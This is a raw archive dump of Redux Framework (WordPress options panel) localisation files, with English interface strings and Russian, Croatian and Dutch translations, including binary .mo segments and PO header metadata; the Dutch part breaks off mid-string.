avoid server lockups)The current Reading mode of Wordpress.The current language used by WordPress. Default = EnglishThe current permalink structure as defined in Wordpress Settings->Permalinks.The currently selected page in where blog posts are displayed.The currently selected page which acts as the site's Front Page.The default timezone for your server.The following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The global_variable argument for this instance of Redux.The installed version of the current active theme.The installed version of the parent theme.The largest filesize that can be contained in one post.The largest filesize that can be uploaded to your WordPress installation.The maximum amount of memory (RAM) that your site can use at one time.The maximum number of variables your server can use for a single function to avoid overloads.The name of the current active theme.The name of the parent theme.The opt_name argument for this instance of Redux.The output_tag variable sets whether or not dynamic CSS will be generated for the customizer and Google fonts for this instance of Redux.The page parent variable sets where the options menu will be placed on the WordPress admin sidebar for this instance of Redux.The page permissions variable sets the permission level required to access the options panel for this instance of Redux.The page slug denotes the string used for the options panel page for this instance of Redux.The parent theme developers URL.The people that develop Redux FrameworkThe prefix structure of the current Wordpress database.The root URL of your site.The specified template path containing custom template files for this instance of Redux.The theme developers URL.The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"The version of MySQL installed on your hosting server.The version of PHP installed on your hosting server.The version of Redux Framework installed on your site.The version of WordPress installed on your site.ThemeThere was a problem with your action. Please try again or reload the page.There was an error saving. Here is the result of your action:This field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.This variable set whether or not the menu is displayed as an admin menu item for this instance of Redux.This will provide to your developer all the information they may need to remedy your issue. This action WILL send information securely to a remote server. To see the type of information sent, please look at the Status tab.TitleTo To allow data saving, make %s writable.To get started, we will need to generate a support hash.TopTransparentURLUnable to modify required files. Please ensure thatUnderstanding the Status ReportUnitsUnknown action "%1$s" specified for %2$sUnsafe strings were found in your CSS and have been filtered out.UploadUsed to grab information from remote servers for updates updates.Used to send data to remote servers.Used when communicating with remote services with PHP.UserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!WP Debug ModeWP Memory LimitWP MultisiteWP VersionWant to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!We are an open source project used by developers to make powerful control panels.We recognize we are nothing without our community. We would like to thank all of those who help Redux to be what it is. Thank you for your involvement.Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat is Redux Framework?What type of user are you?What's NewWhether or not you have WordPress Multisite enabled.While some are built specificially for developers, extensions such as Custom Fonts are sure to make any user happy.WidthWord SpacingWordPress EnvironmentWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?Your panel has no fields. Nothing to save.Your server does not have fsockopen or cURL enabled - cURL is used to communicate with other servers. Please contact your hosting provider.by authorby %sclickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkis availableleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!wp_remote_get() failed. This is needed to get information from remote servers. Contact your hosting provider.wp_remote_post() failed. Many advanced features may not function. Contact your hosting provider.Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Vladimir Language-Team: Russian (Russia) (http://www.transifex.com/projects/p/redux-framework/language/ru_RU/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ru_RU Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes %s - Мы рекомендуем значение не меньше 40MB. См.: Увеличение памяти, выделяемой PHP%s версия%s устарела. Основная версия — %sВ вашей панели найдены устаревшие копии файлов шаблонов Redux Framework – Это может быть причиной возникновения неполадок. Убедитесь, что вы обновили или удалили их.Включить демонстрационный режимАктивировать плагины для разработкиСсылка в момент нажатия (a:active)Активные плагиныДобавить %sДобавить ещёДобавить/Изменить галереюВсеВосстановлены значения по умолчанию!Разрешить отслеживаниеВы уверены? Сброс приведет к потере всех пользовательских значений.Вы уверены? Сброс приведет к потере всех пользовательских значений в этом разделе.Вы уверены? Сброс удалит все индивидуальные настройки!Ссылка на автораАвтоматическое действие произведено: "%s"Привязка фонаBackground ClipBackground OriginПозиция фонаПовтор фонаРазмер фонаРезервный шрифтСтиль границыНизБраузерИнформация о браузереБилдерИзмененияДочерняя темаОчистить галереюНажмите здесь для активирования демонстрационных настроек.ЗакрытьСкопировано!Копировать данныеКопировать URL экспортаКопия для поддержкиБлагодарностиПрефикс таблиц в БДВыключить демонстрационный режимДеактивировать плагины для разработкиПо умолчаниюЧасовым поясом по умолчанию является UTCЧасовым поясом по умолчанию является %s - должен быть UTCУдалитьОписаниеОпределяет, будет ли PHP выводить ошибки в браузер.РазработчикРежим РазработчикаЗнаете ли вы, что у нас есть расширения, которые улучшают Redux? Посетите наш %1$s, чтобы узнать больше!ОтключитьЗакрытьПоказывает, находится ли WordPress в Режиме ОтладкиОтображает, является ли текущая тема дочернейЗапретить отслеживаниеДокументацияСкачать Data FileАдрес эл. почтыВключитьОшибка: %sРаскрытьЭкспорт настроекДополненияЦвет ШрифтаШрифтРазмер ШрифтаНаборы шрифтаFont VariantНасыщенность (толщина) & стиль шрифта.Цвет шрифтаСемейство шрифтовСкрипт шрифтаСтиль шрифтаПодгруппа шрифтаОтГлавная страницаПоказать главную страницуСгенерировать URL поддержки.Сгенерировать URL поддержкиПолучить поддержкуПолучить системный отчетПриступая к работеGoogle WebfontsВысотаПомогите улучшить нашу Панель Настроек!Здесь вы можете скопировать/скачать ваши текущие настройки панели управления. Сохраненные настройки могут быть использованы для восстановления конфигурации при любых сбоях или для переноса настроек на другой сайт.ПодсказкиПодсказки - это облачка, выплывающие когда %d предлагает дополнительную информацию. Они могу быть %d по ссылке ниже.URL домашней страницыСсылка при наведении курсора (a:hover)Как получить поддержкуЯ — разработчик, собирающий продукт с помощью Redux.Я — пользователь, использующий уже готовый продукт.Если так, пожалуйста %1$s и рассмотрите %2$s на развитие разработки Redux.Если Вы хотите быть в курсе всего о Redux, пожалуйста подпишитесь на нашу рассылкуЕсли Вы переносите Redux Framework или родительскую тему, Вам не надо собирать её лично, мы рекомендуем использовать дочернюю тему. Для справки: How to create a child themeИмпортИмпорт / ЭкспортИмпорт настроекИмпорт из файлаИмпорт из URLПоказывает, включены ли AJAX-сервисы для данного объекта Redux.Показывает, включен ли режим разработчика для данного объекта Redux.Указывает, включен ли флаг, который глобально отключает весь вывод CSS для данного экземпляра Redux.Указывает на то, включен ли флаг компилятора для данного экземпляра Redux.Указывает установленные расширения Redux и номера их версий.Информация о текущем сервере, на котором находится Ваш сайтИнформация о текущем используемом браузереВведите URL другого набора настроек и нажмите Импорт для загрузки новых параметров.Загрузите вашу резервную копию настроек и нажмите Импорт для восстановления.Неверное удостоверение безопасности, пожалуйста, перезагрузите страницу и повторите попытку.Является ли запущенный сервер окружением localhostЯзыкУзнать большеСлеваМежбуквенное расстояниеНравится Redux?Line HeightСписок файлов шаблона, которые перезаписывают стандартные файлы шаблонов Redux.Ниже перечислены Wordpress плагины и / или темы, установленные на вашем сайте, что используют Redux Framework. Мы напрямую не поддерживаем продукты, созданные с нашим фреймворком. Это ответственность разработчика плагина или темы. Вам нужно будет связаться с автором (ами) продуктов, перечисленных ниже с вашими вопросами поддержки.Среда LocalhostМаксимальный размер загружаемого файлаДолжно вызываться после действий "plugins_loaded".Версия MySQLИмяНовый %sНовое в этом релизеНовостная рассылкаНе найдено ни одного элемента заданного типа.Медиа-файл не выбранВыкл.Вкл.НастройкиНастройки объектовПанель настроек создана с помощью %1$sНаша основная мантра в Redux — это обратная совместимость. С сотнями тысяч экземпляров по всему миру, вы можете быть уверены, что мы будем заботиться о вас и ваших клиентах.Переменная PHP Display ErrorsПеременная PHP Max InputЛимит памяти PHPМаксимально допустимый размер данных, отправляемых методом POSTЛимит времени PHPВерсия PHPURL автора родительской темыИмя родительской темыВерсия родительской темыПарольСтруктура постоянны ссылокПожалуйста, подождитеПожалуйста, не забудьте включить для разработчика - с помощью вырезания и вставки - URL поддержки в поле ниже.Пожалуйста, скопируйте следующую информацию и вставьте её в ваш тикет при обращении в службу поддержки:Пожалуйста, помогите улучшить нашу панель позволив собрать анонимную статистику о конфигурации, плагинах и шаблонах, чтобы точнее тестировать совместимость.Пожалуйста, перейдите к трекеру Redux Framework и предоставьте нам свой адрес поддержки ниже. Просьба также представить любую информацию, которая поможет нам воспроизвести вашу проблему.Страница постовПапка для данных Redux доступна для записиРасширения ReduxRedux FrameworkRedux Framework - Общественное достижениеRedux Framework - Журнал измененийRedux Framework - РасширенияRedux Framework - Техническая поддержкаRedux Framework - Состояние системыЖурнал Redux FrameworkСтатус Redux FrameworkRedux Framework имеет встроенную демонстрацию.Redux Framework — это ядро многих веб-продуктов. Это один из фреймворков, который используют разработчики для улучшения их разработок.Redux ГенераторОбъект Redux:Версия ReduxRedux и его расширения сохраняют данные в папку uploads. Эта директория должна быть доступна для записи.Redux — простой, действительно расширяемый фреймворк настроек для тем и плагинов WordPressRedux создаётся разработчиками со всего мира. Хотите внести своё имя в список? Contribute to Redux.Обычная ссылка (a:link)Удалённый GETУдалённый POSTУбратьРепозиторийСбросить всеСброс разделаСправаУстановлен ли SUHOSINСохранить измененияНастройки по умолчанию восстановлены.Выберите тип поддержкиВыберите Ваш тип поддержкиВыбрать элементОкружение сервераИнформация о сервереНастройки импортированы!Настройки сохранены!Настройки были изменены, Вам следует их сохранить!Если разработчик не реагирует, прочитайте следующую статью , прежде чем просить поддержки у нас напрямую.Показать объект в консоли JavaScriptURL сайтаРазмерСлайдСтандартный шрифтСтатусСтильОтправить запрос в поддержкуПодписатьсяПодгруппыSuhosin является усовершенствованной системой защиты установки PHP. Он был разработан для защиты серверов, с одной стороны против ряда хорошо известных проблем в PHP приложениях, а с другой стороны от потенциальных неизвестных уязвимостей в этих приложениях или самого ядра PHP. Если Suhosin включен на вашем сервере, возможно, он должен быть настроены для повышения его пределов представления данных.Улучшите ваш опыт с Redux. Наши расширения предоставят Вам функционал, с помощью которого вы выведете Ваш продукт на новый уровень.ПоддержкаХэш поддержки не может быть сгенерирован. Пожалуйста, повторите попытку позже.Системная информацияTeam ReduxВыравнивание текстаText DecorationПроизвольное ПреобразованиеСпасибо за обновление до последней версии! Redux Framework %s — это большой шаг вперёд в разработке Redux. Взгляните на обновления.Данный краткий заголовок занят, пожалуйста, выберите другой. %s не занят.URL главной страницы Вашего сайтаВремя (в секундах) которое Ваш сайт может потратить на одну операцию до таймаута (во избежание зависания сервера).Текущий режим чтения Wordpress.Текущий язык, используемый WordPress. По умолчанию - АнглийскийТекущая структура постоянных ссылок, как определено в Консоль -> Настройки -> Постоянные ссылкиВыбранная страница, на которой выводятся посты из блогаВыбранная сейчас страница, которая выступает в роли Главной Страницы сайтаЧасовой пояс Вашего сервера по умолчанию.Следующие папки и файлы всё еще находятся в директории Redux. Они могут вызвать ошибки при Theme-Check.Аргумент global_variable для данного объекта Redux.Установленная версия текущей активной темы.Установленная версия родительской темы.Максимальный размер файла, который может содержаться в одном посте.Максимальный размер файла, который может загружен в вашу инсталляцию Wordpress.Максимальное количество памяти (RAM), которое может использовать ваш сайт в один момент времени.Максимальное кол-во переменных, которые может использовать Ваш сервер в одной функции, избегая перегрузки.Название текущей активной темы.Имя родительской темы.Аргумент opt_name для данного объекта Redux.Переменная "output_tag" устанавливает, будет ли генерироваться динамический CSS для настройщика и шрифтов Google для данного экземпляра Redux.Переменная "page parent" определяет, где будет меню настроек размещено в панели администрирования Wordpress для данного экземпляра Redux.Переменная "page permissions" устанавливает уровень прав для доступа к панели настроек для этого экземпляра Redux.Краткий заголовок страницы обозначает строку, используемую для страницы панели настроек для этого экземпляра Redux.URL разработчиков родительской темы.Люди, разрабатывающие Redux FrameworkСтруктура префикса в текущей БД WordpressКорневой URL Вашего сайтаУказанный путь к шаблону, содержащий пользовательские файлы шаблонов для этого экземпляра Redux.Ссылка на разработчиков темыВ теме, которую вы тестируете, имеется встроенный %s. Пожалуйста, прочтите %sДокументацию по проверке тем%s чтобы понять некоторые предупреждения, которые вы увидите из-за Redux.Неизвестное действие было заменено "%s"Версия MySQL, установленная на сервере Вашего хостинга.Версия PHP, установленная на сервер Вашего хостингаВерсия Redux Framework была установлена на Ваш сайт.Версия WordPress, установленная на Вашем сайте.ТемаВозникла проблема с Вашим действием. Пожалуйста, перезагрузите страницу или попробуйте позже.Произошла ошибка при сохранении. Вот результат Ваших действий:Поле не должно быть пусто. Введите значение.Данное поле должно содержать корректное значение цвета.Данное поле должно содержать корректную дату.Эта панель демонстрирует многие важные свойства Redux. Прежде чем углубляться, мы предлагаем Вам увеличить скорость обучения, просмотрев %1$s.Эта переменная определяет, отображать или нет меню, как меню администратора для этого экземпляра Redux.Это даст вашему разработчика всю информацию, в которой он нуждается, чтобы исправить вашу проблему. Это действие будет посылать информацию надежно на удаленный сервер. Чтобы увидеть тип информации, который отправляется, пожалуйста, посмотрите на вкладке статус.ЗаголовокДоЧтобы получить возможность сохранять данные, сделайте %s доступной для записи.Нам нужно будет создать хэш поддержки, чтобы начать.ВерхПрозрачныйURLНевозможно модифицировать требуемые файлы. Пожалуйста, удостоверьтесь, чтоПонимание отчёта о состоянииед. измеренияНеизвестное действие "%1$s" указано для %2$sНебезопасные строки были найдены в вашем CSS и отфильтрованыЗагрузитьИспользуется, чтобы принимать информацию с удаленных серверов для обновления.Используется для отправки данных на удаленные сервера.Используется при общении с удаленными сервисами через PHP.ПользовательИмя пользователяВерсияВерсия %sСмотреть %sПерейти на страницу плагинаПосещенная ссылка (a:visited)ВНИМАНИЕ! Данное действие заменит все существующие значения. Пожалуйста, будьте осторожны!Режим отладки WPОграничение памяти WPМультисайтовость WPВерсия WPХотите получить хороший старт? Используйте %1$s. Это создаст индивидуальный шаблон темы или автономную папку администратора в комплекте со всеми вещами Redux (с помощью Undescore и TGM). Избавьтесь от головной боли и попробуйте сегодня.Предупреждение: Эта панель настроек не будет нормально работать без JavaScript!Мы - проект с открытым исходным кодом, используемый разработчиками для создания мощных административных панелей.Мы осознаём, что мы — ничто без нашего комьюнити. Мы хотели бы поблагодарить всех, кто помогает создавать Redux. Спасибо за ваш вклад.Добро Пожаловать в Redux FrameworkДобро пожаловать в Redux Framework %sДобро пожаловать в демо-панель ReduxЧто такое Redux Framework?Каким типом пользователя Вы являетесь?Что нового?Включена или нет опция WordPress MultisiteВ то время как некоторые сделаны только для разработчиков, такие расширения как Custom Fonts делают пользователя счастливее.ШиринаИнтервал между словамиОкружение WordPressОбработка...У вас недостаточно полномочий для доступа к этой странице.Некоторые настройки не сохранены. Хотите сохранить их сейчас?Некоторые настройки не сохранены. Хотите сохранить их сейчас?Вы не должны вводить HTML в данное поле. Все HTML тэги будут удалены.Вы не должны вводить специальные символы в данное поле. Все спец. символы будут удалены.Вы должны ввести список числовых значений, разделённых запятой.Вы должны использовать числовое значение для данной опции.Вы должны использовать корректный URL для данной опции.Вы должны использовать корректный email для данной опции.Ваши текущие настройки будут заменены значениями из этого набора. Вы хотите продолжить?Ваши текущие настройки будут заменены значениями из этого набора. Вы хотите продолжить?Ваша панель не имеет полей. Нечего сохранять.Ваш сервер не имеет fsockopen или cURL - cURL используется для связи с другими серверами. Пожалуйста, свяжитесь с вашим хостинг-провайдером.by %sнажатиепожертвованиеошибка(и) были найдены!папка с расширениямиимеет достаточные права на чтение/запись или введите информацию для доступа по FTP здесь.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkдоступеноставьте доброжелательный отзыв на WordPress.orgпри наведении курсоранаша документацияпредупреждение(я) были найдены!wp_remote_get () не удалось. Это необходимо, чтобы получить информацию из удаленных серверов. Обратитесь к хостинг-провайдеру.wp_remote_post () не удалось. Многие продвинутые функции могут не работать. Обратитесь к хостинг-провайдеру.lib/redux-framework/languages/redux-framework-hr.mo000064400000022016147206624460016504 0ustar00pp q      5 D 43 h ~    .    5 = D P Z b j              ]! X    ! %- <]f%v   ,(5^cry '    #.DULF  ;FCEKbL3-/.a^`!6M  48KJZK=Oa v =%-2 EPXr{     !" & + 8 EVSK  !!2T ['i"  "44I#~  4*&QX[_hlu~ lI:    5 @ @!G\!c!d"3m")"2"l"kk###R/O<8>,b# pdm^`%"+0fP5TEVY L(G*9Ja] S .6H3nMU)ClKcNX!4Dg1eh'Z2@:&7[$ WBI;?Fki=Q-jo _\AActivate Demo ModeActiveAdd MoreAdd/Edit GalleryAllAllow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDefaultDeleteDescriptionDeveloperDisableDismissDo not allow trackingEnableExpandExport OptionsFont FamilyFont colorFont familyFont scriptFont styleFont subsetsFrom Google WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HoverImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingNameNo items of this type were found.No media selectedOptionsOptions ObjectOptions panel created using %1$sPasswordRedux FrameworkRedux Framework has an embedded demo.RegularRemoveReset AllReset SectionRightSave ChangesSelect an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeStandard FontsStatusStyleSubsetsSystem InfoThemeThis field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUploadUserUsernameVersionVersion %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Warning- This options panel will not work properly without javascript!WidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?error(s) were found!warning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Croatian (http://www.transifex.com/projects/p/redux-framework/language/hr/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: hr Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktiviraj demo način radaActiveDodaj jošDodaj/Uredi galerijuSviDopusti praćenjeJeste li sigurni? Resetiranjem ćete izgubiti sve prilagođene vrijednosti.Jeste li sigurni? Resetiranjem ćete izgubiti sve prilagođene vrijednosti u ovoj sekciji.Jeste li sigurni? Resetiranjem ćete izgubiti sve prilagođene vrijednosti.Privitak PozadinePozicija PozadinePonavljanje PozadinePohrani fontStil rubaDnoDnevnik promjenaObriši galerijuKliknite ovdje za aktivaciju probne konfiguracijske datoteke.ZatvoriZaslugeDeaktiviraj demo način radaZadanoObrišiOpisRazvojni programerOnemogućiZatvoriNemoj dopustiti praćenjeOmogućiProširiOpcije izvozaObitelj fontovaBoja fontaSkupina fontaFont scriptStil fontaPodskupovi fontaOdGoogle Web-fontoviVisinaPomozi nam poboljšati naš panelOvdje možete kopirati/preuzeti svoje trenutne postavke opcija. Čuvajte ih na sigurnom kako biste ih mogli koristiti kao backup u slučaju da nešto pođe krivo, također ih možete koristiti za vraćanje postavki na ovom sajtu (ili bilo kojem drugom).HoverUvozUvoz / IzvozOpcije uvozaUvoz iz URL-aUnesi URL do opcija nekog drugog sajta i lupi Uvoz za učitavanje opcija iz tog sajta.Unesi dolje svoju backup datoteku i lupi Uvoz za povrat opcija iz backup-a.LijevoRazmak slovaNazivNisu pronađene stavke ovog tipa.Nema odabranih medijskih datotekaOpcijeObjekt opcijaPanel opcija je kreiran koristeći %1$sLozinkaRedux FrameworkRedux Framework ima ugrađen demo.RegularanUkloniResetiraj sveResetiraj sekcijuDesnoSpremi promjeneOdaberi stavkuPostavke uvezene!Postavke spremljene!Postavke su promijenjene, trebali biste ih spremiti!Pokaži objekt u Javascript konzoliVeličinaStandardni fontoviStatusStilPodskupoviInformacije o sustavuTemaOvo polje mora sadržavati ispravnu vrijednost boje.Ovo polje mora sadržavati ispravan datum.NaslovDoVrhProzirnoURLJedinicePrijenosKorisnikKorisničko imeInačicaInačica %sPosjeti stranicu dodatkaVisitedUPOZORENJE! Ovo će unijeti nove vrijednosti preko postojećih, molimo nastavite samo ako znate što radite!Upozorenje- Ovaj panel s opcijama neće ispravno raditi bez JavaScript-a!ŠirinaRazmak riječiRadim...Nemate dopuštenje potrebno za pristup ovoj stranici.Imate izmjene koje nisu spremljene. Želite li ih spremiti sada?Imate izmjene koje nisu spremljene. Želite li ih spremiti sada?Ne smijete unositi HTML u ovo polje, svi HTML tagovi bit će uklonjeni.Ne smijete unositi specijalne znakove u ovo polje, svi specijalni znakovi tagovi bit će uklonjeni.Morate osigurati zarezom odvojeni popis (en. comma separated) numeričkih vrijednosti za ovu opciju.Morate unijeti numeričku vrijednost za ovu opciju.Morate unijeti valjani URL za ovu opciju.Morate unijeti valjanu email adresu za ovu opciju.Vaše trenutne opcije biti će zamijenjene vrijednostima ovih predefiniranih postavki. Želite li nastaviti?Vaše trenutne opcije bit će zamijenjene vrijednostima ovih predefiniranih postavki. Želite li nastaviti?greška(e) su pronađene!upozorenje(a) su pronađena!lib/redux-framework/languages/redux-framework-nl_NL.mo000064400000027342147206624460017104 0ustar00\ ()<Y`ov5D45 j    ".0_em   $ 3 > I U _ l w     (8 ALQ ` l2x  !  "CV gs |%WQY ` jx ~, & ,6> F R ]h'x.3'  1RX\ `lp(v UFC   ; FHEKb!3-/a`xJK,e,ml  J Yg J # !0!C!X!k!!! !!! ! !6! """3" P" Z" f" s"" """" " " " " # # # !#.# A# L#W#h#{# ## ###### ## $$0$ 5$@$F$ ]$ k$:w$ $$$ $&$%%% % '%05%f%y% % %%%%%*%&Z+&& &&&&&&&'$'8='v'~'''' '' '' ''')(),(V(<\(+(%(((( () )/)D) M)W)f) m)w)))_)F*L*g***** *9*E+E_+G+^+5L,0,3,S,S;- ---P-.,(.5U.!..".t8|zQ{&M%=k@*oU`ls' 1<q0NfL wC]>!X#6 ZV d2IcO-SG4"$5iDART,+h3g7:b( a~9mvPr/B} ?F;u\yYH_pex.[nj)EK^WJActivate Demo ModeActivate Development PluginsActiveActive PluginsAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDisableDismissDo not allow trackingDocsEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont colorFont familyFont styleFont subsetsFrom Front PageGet SupportGetting StartedGoogle WebfontsHeightHelp improve Our PanelHintsHoverImportImport / ExportImport OptionsImport from URLLanguageLearn MoreLeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.MySQL VersionNameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP Display ErrorsPHP Memory LimitPHP VersionPasswordPlease WaitRedux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!SizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationThe people that develop Redux FrameworkThe unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!has the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Dutch (Netherlands) (http://www.transifex.com/projects/p/redux-framework/language/nl_NL/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: nl_NL Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Demomodus activerenOntwikkelplugins activerenActiefActieve plugins%s toevoegenMeer toevoegenGalerij toevoegen/bewerkenAllesAlle standaarden hersteld!Tracking toestaanWeet je het zeker? Door het herstellen verlies je alle aangepaste waarden.Weet je het zeker? Door het herstellen verlies je alle aangepaste waarden in deze sectie.Weet je het zeker? Door het herstellen verlies je alle aangepaste waarden.Automatische actie uitgevoerd: "%s"AchtergrondbijlageAchtergrondoorsprongAchtergrondpositieAchtergrondherhalingAchtergrondgrootteBack-up lettertypeRandstijlOnderBrowserChangelogGalerij legenKlik hier om het voorbeeld-configbestand te activeren.SluitenCreditsDemomodus deactiverenOntwikkelplugins deactiverenStandaardVerwijderenBeschrijvingOntwikkelaarOntwikkelaarsmodus ingeschakeldUitschakelenNegerenTracking niet toestaanDocsE-mailadresInschakelenUitklappenExportoptiesExtensiesTekstkleurLettertypeTekengrootteSubsets lettertypeTekstkleurLettertypeLettertype-stijlSubsets lettertypeVanVoorpaginaOntvang ondersteuningAan de slagGoogle WebfontsHoogteHelp ons paneel te verbeterenHintsHoverImporterenImporteren/exporterenImportoptiesVanaf URL importerenTaalMeer wetenLinksTussenruimte karaktersDol op Redux?RegelhoogteMoet worden opgeroepen in of na de "plugins_loaded"-actie.MySQL-versieNaamNieuw %sNieuwsbriefGeen items van dit type zijn gevonden.Geen media geselecteerdUitAanOptiesOpties objectPaneel met opties aangemaakt met behulp van %1$sPHP Display ErrorsPHP Memory LimitPHP VersionWachtwoordEven wachten a.u.b.Redux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework heeft een ingebouwde demo.Redux GeneratorRedux is een simpel, echt uitbreidbare opties framework voor WordPress-thema's en plugins.RegulierVerwijderenAlles herstellenSectie herstellenRechtsWijzigingen 